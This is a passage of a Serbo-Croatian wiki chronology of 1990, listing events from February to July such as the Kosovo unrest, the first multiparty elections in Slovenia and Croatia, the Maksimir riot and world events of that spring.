1).png|330px|mini|"[[Obiteljski portret (Voyager)|Obiteljski portret]]"]] * [[20. 2.]] - Predsedništvo SFRJ dalo naređenje [[JNA]] da uguši nemire na Kosovu. Stotine Srba u ostatku Srbije se upisuje u dobrovoljce za zaštitu Srba na Kosovu<ref>[http://www.upi.com/Archives/1990/02/20/Yugoslavia-sends-tanks-troops-to-strife-torn-province/7125635490000/ Yugoslavia sends tanks, troops to strife-torn province]. upi.com Archives Feb. 20, 1990</ref>. * 20. 2. - Veliki miting u Skoplju na kome se traži kraj "etnocida" Makedonaca u Bugarskoj - jugoslovenske i bugarske vlasti se raspravljaju o njihovom tretmanu i postojanju<ref>[http://www.upi.com/Archives/1990/03/06/Sofia-Belgrade-clash-over-Macedonian-question/3009636699600/ Sofia, Belgrade clash over Macedonian question]. upi.com Archives March 6, 1990</ref>. * [[21. 2.]] - Ponovo uveden policijski čas na Kosovu, eksplozija u zgradi pošte u Peći. * 21. 2. - U Parizu prikazan film ''[[Nikita (film)|Nikita]]''. * [[22. 2.]] - Izvršno veće Slovenije donosi protivmere privrednoj blokadi Srbije. Usled srpske blokade od decembra, Slovenija je uskratila 15% uplate u savezni budžet. * [[24. 2.]] - U [[Litvanska SSR|Litvanskoj SSR]] se održavaju prvi višestranački izbori u [[SSSR]]: 91 od 135 mandata dobijaju kandidati podržani od [[Sąjūdis]]a, pokreta za nezavisnost. * [[24. 2.|24]] - [[25. 2.]] - Prvi opći sabor [[HDZ]]-a ("NDH nije bila samo puka kvislinška tvorba..."). * [[25. 2.]] - U Briselu ubijen kosovski aktivista [[Enver Hadri]]. * [[26. 2.]] - Ponovo otvorena [[Beogradska berza]] ("Jugoslovensko tržište kapitala"). * 26. 2. - [[Nikaragva]]: [[Violeta Chamorro]] neočekivano pobedila predsednika [[Daniel Ortega|Daniela Ortegu]] (položaj preuzima 25. 4., ostaje do 1997, Ortega se vraća 2007). * 28. 2. - 10. 3. - Svetsko prvenstvo u rukometu održano u Čehoslovačkoj: Švedska 1, Jugoslavija 4. * februar - Inflacija u SFRJ 8,4%. === Mart/Ožujak === * [[1. 3.]] - Izdate novčanice od 100 dinara (djevojka sa maramom) i 500 dinara (odrastao mladić). * [[2. 3.]] - Prikazan film "[[Lov na Crveni oktobar (film)|Lov na Crveni oktobar]]". * [[4. 3.]] - Na [[Petrova Gora|Petrovoj Gori]] održan veliki miting, uglavnom Srba iz Hrvatske, glavni govornik NH [[Dušan Pekić]]. * [[6. 3.]] - Poslednji zvanični let [[Lockheed SR-71]] Blackbird, preletela preko SAD za 68 minuta. * [[8. 3.]] - Odlukom Skupštine [[Slovenija|Slovenije]] izbrisan pridev »socijalistička« iz naziva ove republike. * 8. 3. - U Beogradu izlazi prvi broj enigmatskog lista "Huper" (do decembra [[2008]].). * [[9. 3.]] - [[Mongolska demokratska revolucija]]: generalni sekretar CK Mongolske narodne partije [[Džambin Batmenh]] daje ostavku zajedno sa politbiroom - izbori u julu. * [[10. 3.]] - Haićanski predsednik [[Prosper Avril]] napušta zemlju pod pritiskom demonstracija, privremeni predsednici su general [[Hérard Abraham]], zatim vrhovna sutkinja [[Ertha Pascal-Trouillot]] (do 1991). * [[11. 3.]] - {{flagicon|Litvanija}} [[Litvanska SSR|Litvanski]] parlament donosi Akt o obnovi države Litvanije. Moskva ovo ocenjuje nelegalnim, Litvanija krajem juna suspenduje odluku. * 11. 3. - Ukinut policijski čas na Kosovu. * [[12. 3.]] - Sovjetski vojnici započinju povlačenje iz Mađarske. * 12. 3. - Zakletvu položio [[Patricio Aylwin]], prvi demokratski izabrani predsednik [[Čile]]a od [[1970]]. * [[14. 3.]] - Osnivački sabor [[Srpski pokret obnove|Srpskog pokreta obnove]] - ujedinjeni Srpski slobodarski pokret [[Vojislav Šešelj|Vojislava Šešelja]] i frakcija [[Srpska narodna obnova|SNO]] [[Vuk Drašković|Vuka Draškovića]] (njih dvojica se razilaze posle par meseci). * [[15. 3.]] - [[Mihail Gorbačov]] izabran na novostvoreni položaj [[Predsjednik Sovjetskog Saveza|Predsednika Sovjetskog Saveza]], nakon izmene ustava u smeru jakog predsednika; KPSS gubi monopol na vlast. * 15. 3. - [[Fernando Collor de Mello]] postao predsednik [[Brazila]], prvi demokratski izabran od [[1961]]; odmah pokreće plan za suzbijanje inflacije, prozvan ''Plano Collor'' (predsednik do 1992). * [[16. 3.]] - Sporazum Jugoslavije sa [[MMF]]: 18-mesečni ''stand-by'' kredit vrednosti do 600 miliona dolara za podršku restrukturaciji. * [[18. 3.]] - Predizborni skup HDZ u Benkovcu, navodni pokušaj atentata na Tuđmana. * 18. 3. - Prvi i poslednji slobodni izbori u [[DDR]] - 48% poslanika dobila Alijansa za Nemačku, na čelu sa istočnim ogrankom [[CDU]], [[Lothar de Maizière]] novi premijer od aprila do ujedinjenja u oktobru. * 18. 3. - Iz bostonskog muzeja Isabella Stewart Gardner ukradene umjetnine vrijedne 500 miliona dolara. * [[20. 3.]] - "Crni mart": [[Etnički sukobi u Târgu Mureșu|etnički sukobi]] između Rumuna i Mađara u [[Târgu Mureș]]u, šestoro mrtvih. * [[21. 3.]] - {{flag|Namibija}} nezavisna od južnoafričke vlasti. Prvi predsednik je lider [[SWAPO]]-a [[Sam Nujoma]] (do 2005). Walvis Bay i Pingvinovi otoci ostaju južnoafrički do 1994. * [[22. 3.]] - Afera oko navodnog trovanja albanske dece na Kosovu, slede nove albanske demonstracije i napadi na Srbe (međunarodni panel lekara nije našao dokaze otrova ni epidemije, pominje se "masovna histerija"). * 22. 3. - U Briselu ubijen [[Gerald Bull]], kanadsko-američki inženjer dugometne artiljerije koji je radio za Sadama Huseina. * [[23. 3.]] - Prikazan film ''[[Pretty Woman]]''. * 23, 24. 3. - U noćnom klubu "Nana" na beogradskom Senjaku ubijen [[Andrija Lakonić]] - otvaraju se pitanja o saradnji kriminalaca, SUP-ova i SDB.<ref>[https://istorijskenovine.unilib.rs/view/index.html#panel:pp|issue:UB_00064_19901017|page:5 "Borba", 17. okt. 1990, str. 5]</ref> * [[24. 3.]] - JNA opet na kosovskim ulicama, Srbija preuzima direktnu kontrolu nad tamošnjom milicijom. * 24. 3. - [[Islam Karimov]] predsednik Uzbečke SSR (od 1991. nezavisnog [[Uzbekistan]]a, do smrti 2016). * [[25. 3.]] - Požar u nelicenciranom njujorškom klubu ''Happy Land'', 87 mrtvih. * [[25. 3.]] i [[8. 4.]] - Prvi demokratski izbori u [[Mađarska|Mađarskoj]] od [[1948]] - pobeđuje konzervativni Demokratski forum, bivši komunisti četvrti. * [[26. 3.]] - Na sastanku "koordinacije" (najviši srpski rukovodioci) ocenjeno da proces raspada Jugoslavije izgleda nezaustavljivo; da je konfederacija neprihvatljiva; Bosna i Hercegovina se ne može održati kao država, tu se rat ne može izbeći; Srbija će doneti novi ustav, koji će je pokriti kao samostalnu državu.<ref>Jović 2003, 481-2</ref> * 26. 3. - [[62. dodjela Oscara]]: najbolji film je ''[[Driving Miss Daisy]]'', ukupno četiri nagrade od devet nominacija; najbolji strani film je ''[[Cinema Paradiso]]''. * [[28. 3.]] - [[Studio B]] pokrenuo TV kanal, ali vlasti ga ubrzo zabranjuju. * 28. 3. - Prikazan film ''[[Cyrano de Bergerac (1990 film)|Cyrano de Bergerac]]''. * [[29. 3.]] - Otvorena ''Ljubljanska borza''. * [[30. 3.]] - Plenarna sednica CK SKJ nema kvorum za zasedanje (nisu došli Slovenci, ni većina iz Hrvatske i Makedonije, Bosanci napustili sastanak). * 30. 3. - Premijera igranog [[Teenage Mutant Ninja Turtles (film)|filma o Nindžama kornjačama]], u produkciji New Line Cinema, koji je postao najkomercijalniji nezavisno producirani film do tada sa zaradom od preko 100 milijuna $ u američkim kinima. * 30. 3. - Nakon prvih slobodnih izbora 18. 3., [[Estonska SSR]] proglašava sovjetsku vlast nelegalnom od [[1940]]. * [[31. 3.]] - Preduzeće ''Lipa Holding'' u Sloveniji izdalo novu "valutu", [[Slovenska lipa|lipu]] - neka preduzeća je primaju kao pomoćno platno sredstvo. * 31. 3. - "Druga bitka kod Trafalgara" - masovne demonstracije u Londonu protiv Komunalnog poreza (prozvanog ''poll-tax'' - "glavarina") pretvorile se u nerede sa stotinama povređenih. * mart - Ukupan inostrani dug SFRJ iznosi 18,1 milijardu dolara (smanjenje sa 21,9 milijardi početkom 1988).<ref>"U minusu - samo 4,3 milijarde", Borba, 11. jul 1990, str. 8</ref> === April/Travanj === * [[april]] - ? U [[Beograd]]u, u blizini 30-tak osnovnih škola, postavljeni [[ležeći policajci]]. * [[1. 4.]] - U Engleskoj i Velsu uveden nepopularni Komunalni porez. * [[3. 4.]] - Pripadnici Združenog odreda milicije iz Hrvatske u sastavu SSUP-a povlače se sa Kosova. * 3. 4. - Bugarska komunistička partija menja ime u [[Bugarska socijalistička partija]]. * [[6. 4.]] - Obaveza za istočne Evropljane, van poslovnog putovanja ili paket aranžmana, da kupe dinara u vrednosti $200 na ulazu u Jugoslaviju. * [[7. 4.]] - Požar na feribotu ''MS Scandinavian Star'' između Norveške i Danske, 159 mrtvih. * [[8. 4.]] (Cvjetnica) - Veliki predizborni miting HDZ u Zagrebu. [[Datoteka:Twin Peaks title.svg|mini|''[[Twin Peaks]]'']] * 8. 4. - Prva epizoda ''[[Twin Peaks]]'' na ABC (30 epizoda u dve sezone, film ''[[Twin Peaks: Fire Walk with Me]]'' 1992 i sezona od 18 epizoda 2017; u SFRJ preko TV Novi Sad od 1. aprila 1991). * 8. 4. - Treći izbori u Grčkoj za 10 meseci, ponovo pobeđuje [[Nova Demokracija (Grčka)|Nova Demokracija]], [[Konstantinos Micotakis]] konačno može formirati vladu (do 1993). * 8. 4. - [[Nepal]]ski kralj Birendra ukida, nakon nereda, zabranu političkih partija. * [[8. 4.|8]], [[12. 4.|12]] i [[22. 4.]] - [[Datoteka:Coat of Arms of the Socialist Republic of Slovenia.svg|25px|Grb SR Slovenije]] Prvi demokratski izbori u [[Slovenija|Sloveniji]] - pobeda koalicije [[DEMOS]] (54% glasova) na parlamentarnim i [[Milan Kučan|Milana Kučana]] na predsedničkim izborima (DEMOS se zalaže za suverenitet i ekonomsku nezavisnost). {{Dvostruka slika|right|Croatian Parliamentary Election Results 1990.png|180|Parlamentarni izbori u Hrvatskoj 1990, vijeća općina.png|180|Izbori za Sabor SRH|Izbori za Vijeća općina}} * [[13. 4.]] - Sovjetska vlada priznala krivicu za [[Katinjski masakr]]. * [[14. 4.]] - Gorbačov uvodi blokadu goriva i druge robe Litvaniji - ovi su ranije prekinuli dostavu goriva sovjetskim jedinicama. * april - Turisti traže gljivu [[smrčci|smrčak]] u okolini sela [[Preljubovići]] na Romaniji zbog navodnih afrodizijačkih svojstava<ref>[http://www.upi.com/Archives/1990/04/14/Mushroom-said-to-restore-sexual-prowess/9861640065600/ Mushroom said to restore sexual prowess]. upi.com Archives April 14, 1990</ref>. * [[16. 4.]] - Republički SUP Srbije preuzima sve poslove javne i državne bezbednosti na Kosovu. * [[18. 4.]] - Predsedništvo SFRJ ukinulo vanredno stanje na Kosovu, uvedeno u februaru 1989, i amnestiralo 108 političkih zatvorenika. * [[22. 4.]] i [[6. 5.|6]] - [[7. 5.]] - [[Datoteka:Coat of Arms of the Socialist Republic of Croatia.svg|25px|Grb SR Hrvatske]] [[Parlamentarni izbori u Hrvatskoj 1990|Izbori u Hrvatskoj]] za tri vijeća [[Hrvatski sabor|Sabora]]: ubjedljiva pobeda [[HDZ]]-a - sa 42% glasova dobivaju 205 (58%) zastupnika; stranka se zalaže za konfederaciju nezavisnih država i uklanjanje Srba sa utjecajnih položaja (pominje se i referendum o granicama BiH u slučaju raspada SFRJ<ref>[http://www.nytimes.com/1990/04/26/world/evolution-in-europe-victory-seen-for-nationalists-in-yugoslav-republic.html?scp=9&sq=croatia&st=nyt Evolution in Europe; Victory Seen for Nationalists in Yugoslav Republic], The New York Times Published: April 26, 1990</ref>). * [[24. 4.]] - [[Azem Vlasi]] oslobođen optužbi za izazivanje štrajkova i protesta prethodne godine, oslobođeno i ostalih 14 lica kojima je suđeno zajedno s njim (bio uhapšen u martu [[1989]]). * 24. 4. - [[Nursultan Nazarbajev]] predsednik Kazaške SSR (od 1991. nezavisnog [[Kazahstan]]a). [[Datoteka:1990 s31 IMAX view of HST release.jpg|mini|200px|[[Svemirski teleskop Hubble]] postavljen u svemiru]] * 24. 4. - [[Spejs šatl]]om "Diskaveri" lansiran [[Svemirski teleskop Hubble]] - glavno ogledalo loše polirano, što će biti korigovano u misiji 1993. * [[25. 4.]] - Socijaldemokratski kandidat za nemačkog kancelara [[Oskar Lafontaine]] teško povređen u napadu poremećene žene nakon predizbornog skupa. * [[26. 4.]] - [[27. 6.]] - [[JNA]] razoružava [[teritorijalna odbrana|TO]] Slovenije i Hrvatske. * [[28. 4.]] - Dublinski samit EZ: posvećenost političkoj uniji, Istočna Nemačka će biti uključena u EZ, bliskije veze sa istočnim zemljama. * [[april]] - Sastanak predstavnika zemalja "Pentagonale" ([[Italija]], [[Jugoslavija]], [[Mađarska]], [[Čehoslovačka]], [[Poljska]]) u [[Bratislava|Bratislavi]] (i opet u [[Venecija|Veneciji]] u julu). === Maj/Svibanj === [[Datoteka:ESC1990.jpg|thumb|150px|[[Pjesma Eurovizije 1990.]] u [[Zagreb]]u]] * [[4. 5.]] - Poslednji put sirena u 15:05, na godišnjicu [[Tito]]ve smrti, demonstracije u Beogradu. * 4. 5. - [[Latvijska SSR]] objavila nelegalnim priključenje [[SSSR]]-u [[1940]]. (najava nezavisnosti), promenjeno ime u Republika Latvija. * [[5. 5.]] - [[Pjesma Eurovizije 1990.]] u [[Zagreb]]u - pobjeđuje [[Toto Cutugno]] (''Insieme: 1992''), [[Tajči]] je sedma. * [[8. 5.]] - Građani Albanije dobili pravo na pasoš i religiozna uverenja; zemlju je 11-13. 5. posetio generalni sekretar UN. * [[13. 5.]] - [[Izgredi na utakmici Dinamo-Crvena zvezda|Maksimir]]: Na fudbalskoj utakmici u [[Zagreb]]u, između beogradske [[FK Crvena Zvezda|Crvene zvezde]] i zagrebačkog [[Dinamo|Dinama]] došlo do velikog sukoba navijača dva kluba - povređeno 79 policajaca i 59 gledalaca. [[Datoteka:Borisav Jovic cropped.jpg|mini|120px|[[Borisav Jović]] (2009)]] * [[15. 5.]] - Rotacija u [[Predsedništvo SFRJ|Predsedništvu SFRJ]], na čelo dolazi [[Borisav Jović]] (predstavnik uže Srbije). * [[16. 5.]] - [[Lojze Peterle]] iz DEMOS-a postaje prvi demokratski premijer Slovenije. Zalaže se za konfederalni sistem u Jugoslaviji, u protivnom nezavisnost Slovenije. * [[17. 5.]] - Oduzimanje oružja [[teritorijalna odbrana|Teritorijalnim odbranama]] u Sloveniji i Hrvatskoj (i [[BiH]]?). * 17. 5. - [[Svetska zdravstvena organizacija]] zvanično skinula [[homoseksualnost]] sa spiska mentalnih oboljenja (Dan borbe protiv [[homofobija|homofobije]]). * [[18. 5.]] - Posle napada na člana [[Srpska demokratska stranka (Hrvatska)|SDS]] u [[Benkovac|Benkovcu]], [[Miroslav Mlinar|Miroslava Mlinara]], ova stranka odlučila da povuče svojih pet zastupnika iz Sabora. * 18. 5. - Sporazum o monetarnoj uniji Istočne i Zapadne [[Nemačka|Nemačke]] od 1. 7. - prvi korak ka ujedinjenju. * [[19. 5.]] - Makedonski demonstranti blokirali granične prelaze prema Grčkoj, tražeći prava za svoje tamošnje sunarodnike, makedonska skupština kritikuje saveznu vladu zbog "neefikasnosti u rešavanju otvorenih pitanja sa Grčkom". * [[20. 5.]] - Predsednički i parlamentarni izbori u [[Rumunija|Rumuniji]], ubedljiva pobeda [[Jon Ilijesku|Jona Ilijeskua]] i Fronta nacionalnog spasa. * 20. 5. - [[Monika Seleš]] pobedila [[Štefi Graf]] u finalu German Opena. * [[22. 5.]] - {{flag|Jemen}}: ujedinjenje [[Sjeverni Jemen|Sjevernog]] i [[Južni Jemen|Južnog Jemena]]. * 22. 5. - Izdat [[Windows 3.0]], prva verzija u široj upotrebi. * [[25. 5.]] - [[Ante Marković]] najavio osnivanje partije. * [[26. 5.]] - U [[Sarajevo|Sarajevu]] osnovana [[Stranka demokratske akcije]]. * 26. 5. - Plenarni sastanak SKJ se razišao posle tri sata, nisu došli delegati iz Slovenije, Hrvatske i Makedonije - određen 29. septembar za nastavak<ref>[http://www.upi.com/Archives/1990/05/26/Yugoslav-communists-divided/3748643694400/ Yugoslav communists divided]. upi.com Archives May 26, 1990</ref>. * [[27. 5.]] - Prvi demokratski izbori u [[Burma|Burmi]] od [[1960]], pobeđuje Nacionalna liga za demokratiju [[Aung San Suu Kyi]] ali vojna hunta poništava rezultate (sledeći izbori [[2010]]). [[Datoteka:FranjoTudmanleft.jpg|thumb|180px|[[Franjo Tuđman]], prvi predsjednik RH (1990-99)]] * [[28. 5.]] - Borisav Jović ispred Predsedništva SFRJ predstavio plan od 13 tačaka, "hitne mere za zaštitu teritorijalnog i političkog integriteta zemlje". * [[29. 5.]] - [[Boris Jeljcin]] dolazi na čelo Vrhovnog sovjeta [[Ruska SFSR|Ruske SFSR]]. * 29. 5. - Kongresmen Tom Lantos i bivši kongresmen Joe DioGuardi posetili Đakovicu, Lantos podržava Kosovo republiku - zatim posećuju Albaniju kao prvi američki zvaničnici u toj zemlji. * 29. 5. - Potpisan sporazum o osnivanju [[Evropska banka za obnovu i razvoj|Evropske banke za obnovu i razvoj]]. * [[30. 5.]] - Konstituiran Sabor SR Hrvatske, vlast preuzima [[Hrvatska demokratska zajednica]]. [[Franjo Tuđman]] izabran za predsjednika Predsjedništva SR Hrvatske, [[Stjepan Mesić]] za predsjednika Republičko izvršnog vijeća (premijera), [[Žarko Domljan]] za predsjednika Sabora. Tuđman najavljuje novi ustav, zajednicu sa drugim narodima SFRJ vidi kao konfederaciju, ugovorni savez suverenih država (slavlje u Zagrebu i cijeloj Hrvatskoj, [[Dan državnosti RH]] do 2001). * 30. 5. - Evropska zajednica želi bliže veze sa Jugoslavijom, predlaže 1,08 milijardi dolara zajmova za pet godina, dve trećine za saobraćaj<ref>[http://www.upi.com/Archives/1990/05/30/Yugoslavias-Croatia-taps-nationalists-as-leaders/8333644040000/ Yugoslavia's Croatia taps nationalists as leaders]. upi.com Archives May 30, 1990</ref>. * 30. 5. - Jak zemljotres u Rumuniji, osetio se i susednim zemljama. * 30. 5. - U Vašingtonu počinje samit Buš-Gorbačov. * [[31. 5.]] - Upadom nacionalista prekinuta predstava "Sveti Sava" u [[Jugoslovensko dramsko pozorište|JDP]]. === Jun/Juni/Lipanj === * [[1. 6.]] - Blokirani prelazi na grčko-jugoslovenskoj granici - protest Makedonaca na tretman od strane grčkih vlasti (još veća blokada [[16. 6.]]). * 1. 6. - Izdata novčanica od 50 dinara (dječak). * 1. 6. - SAD i SSSR potpisuju ugovor o prestanku proizvodnje [[Hemijsko ratovanje|hemijskog oružja]] i uništenju zaliha. * 1. 6. - Prikazan film ''[[Total Recall]]''. * 1 - 3. 6. - U Kuala Lumpuru održan prvi samit [[Grupa 15|Grupe 15]] zemalja u razvoju, među kojima je i Jugoslavija. * [[3. 6.]] - [[Nogometna utakmica Jugoslavija-Nizozemska 1990.|Prijateljska utakmica Jugoslavija-Nizozemska]] u Zagrebu - izviždana himna "Hej Slaveni". * [[4. 6.]] - Neredi u gradu [[Oš]], u [[Kirgiska SSR|Kirgiskoj SSR]], između Kirgiza i Uzbeka. * [[7. 6.]] - Mitropolit lenjingradski izabran za [[Patrijarh moskovski Aleksije II|patrijarha moskovskog Aleksija II]] (do 2008). * [[8. 6.]] - Novi hrvatski delegati u Veću republika i pokrajina Savezne skupštine, među kojima i osam iz HDZ, čime skupština prvi put od 1945. postaje višestranačka (Slovenija zadržala stare delegate)<ref>[http://www.upi.com/Archives/1990/06/08/Yugoslavias-first-multi-party-Parliament-in-45-years/4815644817600/ Yugoslavia's first multi-party Parliament in 45 years]. upi.com Archives June 8, 1990</ref>. * [[8. 6.|8]] - [[9. 6.]] - Prvi slobodni izbori u [[Čehoslovačka|Čehoslovačkoj]] od [[1946]], relativnu većinu osvaja Građanski forum. * [[8. 6.]] - [[8. 7.]] - [[Datoteka:Football pictogram.svg|25px]] [[Svetsko prvenstvo u fudbalu 1990.]] se održava u Italiji; Zapadna Nemačka osvaja treću titulu. * [[9. 6.]] - [[Monika Seleš]] (16) osvojila [[Roland Garros]] (French Open) pobedom nad [[Steffi Graf]] - prva Monikina [[Grand Slam]] titula. [[Goran Ivanišević]] na istom turniru iznenadio eliminisavši [[Boris Beker|Borisa Bekera]]. * [[10. 6.]] - Tuča zapadnonemačkih i jugoslovenskih navijača u Milanu. * 10. 6. - British Airways Flight 5390: nakon što je otpao prozorski panel u kokpitu, pilot zamalo isisan iz aviona. * [[10. 6.]] i [[17. 6.]] - Višestranački izbori u [[Narodna Republika Bugarska|Bugarskoj]], relativna većina za [[Bugarska socijalistička partija|Bugarsku socijalističku partiju]], bivše komuniste. * [[11. 6.]] - [[Šrilankanski građanski rat]]: Tamilski tigrovi masakrirali najmanje 600 nenaoružanih policajaca. * [[12. 6.]] - Deklaracija o državnom suverenitetu [[Ruska Sovjetska Federalna Socijalistička Republika|Ruske Federacije]] (kasnije Dan Rusije). * 12. 6. - Lokalni izbori u [[Alžir]]u, prvi demokratski od [[1962]]: većinu opština i provincija osvaja [[Front islamskog spasa]]. * [[13. 6.]] - Prvi protestni miting opozicije u Beogradu - traži se zakazivanje višestranačkih izbora i da novi ustav donese nova skupština. Intervencija policije u Takovskoj ulici, ispred zgrade Televizije, lakše povređeni [[Dragoljub Mićunović]] i [[Borislav Pekić]] i još nekoliko desetina okupljenih, zbog čega se prekida učešće u okruglom stolu i traži ostavka ministra Radmila Bogdanovića (protestni miting 27. juna). * [[14. 6.]] - ''Mineriada'': rudari u [[Bukurešt]]u rasturili šatorsko naselje protestujućih studenata i demolirali redakcije nekih listova i središta opozicionih stranaka. Evropska zajednica kaže da će Rumuniji biti uskraćena pomoć. * [[jun]] - [[Vojislav Šešelj]] se razišao sa [[SPO]], osniva [[Srpski četnički pokret]]. * jun - Nemačka daje zajam od pet milijardi maraka Sovjetskom Savezu.<ref name="KieningerMoney">Kieninger, Stephan ''Money for Moscow: The West and the Questionof Financial Assistance for Mikhail Gorbachev''</ref> * jun? - Prvak Jugoslavije u fudbalu Crvena zvezda, u kup UEFA idu Dinamo i Partizan. * jun - [[J. K. Rowling]] počinje pisati ''[[Harry Potter and the Philosopher's Stone]]'' (objavljen 1997). * jun? - [[Predrag J. Marković]] pobednik "[[Kviskoteka|Kviskoteke]]"<ref>[http://yugopapir.blogspot.com/2014/08/predrag-markovic-pobednik-kviskoteke-i.html Predrag Marković, pobednik "Kviskoteke"...]. yugopapir.blogspot.com</ref>. * [[19. 6.]] - [[Šengenski sporazum]] iz 1985. dopunjen Šengenskom konvencijom: ukidanje unutrašnjih kontrola na granici i politika zajedničkih viza - [[Šengenski prostor]] ustanovljen 1995. * [[21. 6.]] - Seljaci nakratko blokirali autoputeve kod Beograda (u stvari Novi Sad i Subotica), traže 26 centi za kilogram pšenice, umesto 17 koliko je odredila savezna vlada (na čikaškoj berzi je 15)<ref>[http://www.upi.com/Archives/1990/06/21/Farmers-block-roads-demanding-higher-wheat-price/9524645940800/ Farmers block roads demanding higher wheat price]. upi.com Archives June 21, 1990</ref>. * 21. 6. - Svetska banka objavila 292 miliona dolara zajmova za modernizaciju i održavanje puteva u SFRJ. * 21. 6. - Mandžil-rudbarski zemljotres na severozapadu Irana, procenjeno 35.000–50.000 žrtava. * 21. 6. - Simultana deklaracija dva nemačka parlamenta priznaje granicu sa Poljskom. * [[22. 6.|22]]. i [[29. 6.]] - Prvi višestranački izbori ikad u [[Mongolija|Mongoliji]], pobeđuje vladajuća Mongolska narodna revolucionarna partija. * [[23. 6.]] - [[Moldavska Sovjetska Socijalistička Republika|Moldavska SSR]] proglasila suverenost. * [[24. 6.]] - Zaređene prve [[Anglikanci|anglikanske]] sveštenice u [[UK]]. * [[25. 6.]] - Slobodan Milošević se obraća skupštini: raspisan referendum o redosledu izbora i donošenja ustava; zalaže se za federaciju i jaču centralnu vladu; u slučaju konfederacije, granice republika moraju biti promenjene<ref>[http://www.upi.com/Archives/1990/06/25/Serbian-president-at-odds-with-other-Yugoslav-republics/4355646286400/ Serbian president at odds with other Yugoslav republics]. upi.com Archives June 25, 1990</ref>. * 25. 6. - Slovenija najavljuje novi ustav kao "suverene države" a ne "federalne jedinice", izjavljuje predsednik Kučan. * [[26. 6.]] - Vlasti Srbije zatvorile Skupštinu Kosova. * 26. 6. - Mađarski parlament glasao za povlačenje iz Varšavskog pakta do kraja 1991. * [[27. 6.]] - Osnivanje zajednice općina Sjeverne [[Dalmacija|Dalmacije]] i [[Lika|Like]] ([[Knin]], [[Obrovac]], [[Benkovac]], [[Donji Lapac]], [[Gračac]], [[Titova Korenica]]). * [[28. 6.]] - [[Televizija Politika]] počinje s emitovanjem u Beogradu, prva televizija van RTV Beograd. * [[29. 6.]] - Po odluci [[Hrvatski sabor|Sabora]], Radiotelevizija Zagreb postaje [[Hrvatska radiotelevizija]]. * 29. 6. - Ante Marković u obraćanju skupštini predlaže privatizaciju državne industrije i poziva na bržu političku reformu. * 29. 6. - Otkrivena jama [[Jazovka]] u [[Žumberak|Žumberku]], sa ostacima žrtava iz [[1945]]. * [[30. 6.]] - Četvrtfinale [[Svetsko prvenstvo u fudbalu 1990.|Svetskog prvenstva]]: [[Fudbalska reprezentacija Jugoslavije|Jugoslavija]] izgubila 3:2 na penale od Argentine, kasnijih vicešampiona. * 30. 6. - Litvanija je, pod pritiskom Moskve i Vašingtona, suspendovala odluku o nezavisnosti na šest meseci. * [[30. 6.]] - [[7. 7.]] - 37. [[Pulski filmski festival]], posljednji jugoslavenski: [[Velika zlatna arena za najbolji film|Velika zlatna arena]] za film "[[Gluvi barut]]"<ref>[http://arhiv.pulafilmfestival.hr/37-pulski-filmski-festival/ 37. Pulski filmski festival] {{Webarchive|url=https://web.archive.org/web/20170423034401/http://arhiv.pulafilmfestival.hr/37-pulski-filmski-festival/ |date=2017-04-23 }}. arhiv.pulafilmfestival.hr</ref>. === Jul/Juli/Srpanj === * [[1. 7.]] - [[Ujedinjenje Njemačke]]: stupa na snagu monetarna unija i integracija gospodarstava dvije Njemačke, napuštena [[unutarnja njemačka granica]] (danas dio [[Europski zeleni pojas|Europskog zelenog pojasa]]). * [[1. 7.|1]] - [[2. 7.]] - [[Datoteka:Ballot.gif|25px]] Referendum u Srbiji: prvo doneti novi ustav pa onda održati višestranačke izbore. * [[2. 7.]] - Skupština Slovenije usvojila Deklaraciju o punoj suverenosti Republike Slovenije (prvenstvo republičkog ustava i zakona nad saveznim). * 2. 7. - Albanski delegati Skupštine SAP Kosova ispred zgrade skupštine doneli Ustavnu deklaraciju kojom su Kosovo proglasili republikom u sastavu Jugoslavije. * 2. 7. - Hiljade Albanaca upale u zapadne ambasade u Tirani, u avgustu pušteni u Italiju. * 2. 7. - Stampedo u pešačkom tunelu kod [[Mecca|Mecce]], 1.426 poginulih. * 2 - 13. 7. - [[XXVIII kongres KPSS]] - poslednji. [[Boris Jeljcin]] napustio partiju nakon što nisu prihvaćeni njegovi liberalni predlozi. * [[3. 7.]] - Pismo kninske milicije saveznom sekretaru Gračaninu: ne žele nove oznake ni naziv "redarstvo". Ministar Boljkovac dolazi u posjetu dva dana kasnije, dočekan mitingom.<ref>Sekula-Gibač, Vučur. [https://hrcak.srce.hr/file/319586 Služba unutarnjih poslova i policajci srpske nacionalnosti na pobunom zahvaćenom području u Sjevernoj Dalmaciji, Lici i na Banovini 1990. godine]. hrcak.srce.hr</ref> * [[4. 7.]] - U Titovom [[Drvar]]u održan miting SDS, mada je bio zabranjen, govori [[Jovan Rašković]]. * 4. 7. - Grupa 24 bogate zemlje će proširiti pomoć istočnoj Evropi, uz Poljsku i Mađarsku, dobiće je i Istočna Nemačka, Čehoslovačka, Jugoslavija i Bugarska<ref>[http://www.upi.com/Archives/1990/07/04/West-extends-aid-to-East-bloc-except-Soviets/3631647064000/ West extends aid to East bloc -- except Soviets]. upi.com Archives July 4, 1990</ref>. * [[5. 7.]] - Skupština SR Srbije raspušta Skupštinu i Izvršno veće SAP Kosova, smenjeni urednici i direktori novina i RTV stanica na albanskom (faktički kraj autonomije). Albanci stupaju u masovni štrajk [[9. 7.]]. * [[6. 7.]] - Telohranitelji [[Somalija|somalskog]] predsednika [[Siad Barre|Siada Barrea]] ubili 65 demonstranata tokom fudbalskog meča. * 6. 7. - Bugarski predsednik [[Petar Mladenov]] podneo ostavku. * [[8. 7.]] - [[Njemačka nogometna reprezentacija|Zapadna Njemačka]] pobjedom od 1-0 nad [[Argentinska nogometna reprezentacija|Argentinom]] osvojila [[Svjetsko prvenstvo u nogometu - Italija 1990.|Svjetsko nogometno prvenstvo]]. * 8. 7. - Misa i ceremonija pomirenja u [[Kočevski Rog|Kočevskom Rogu]], u Sloveniji. * [[11. 7.]] - Mirni protesti u Prištini, Predsedništvo SFRJ podržalo mere Srbije na Kosovu. * [[12. 7.]] - U Sarajevu osnovana [[SDS BiH]], predsednik stranke [[Radovan Karadžić]]. * 12 - 22. 7. - Svetsko prvenstvo u košarci za žene održano u Maleziji: SAD 1, Jugoslavija 2. * [[13. 7.]] - Prikazan film ''[[Ghost (film, 1990)|Ghost]]'', najunosniji ove godine. * [[14. 7.]] - Osnovana [[Liga socijaldemokrata Vojvodine]]. * [[15. 7.]] - Osnovan [[DSHV]], prva stranka Hrvata u Vojvodini nakon uvođenja višestranačja u Vojvodini za vrijeme SFRJ. * 15. 7. - [[Vuk Drašković]] u "Srpskoj reči": u slučaju konfederacije, Srbiji treba da pripadne ono što je unela u Kraljevinu 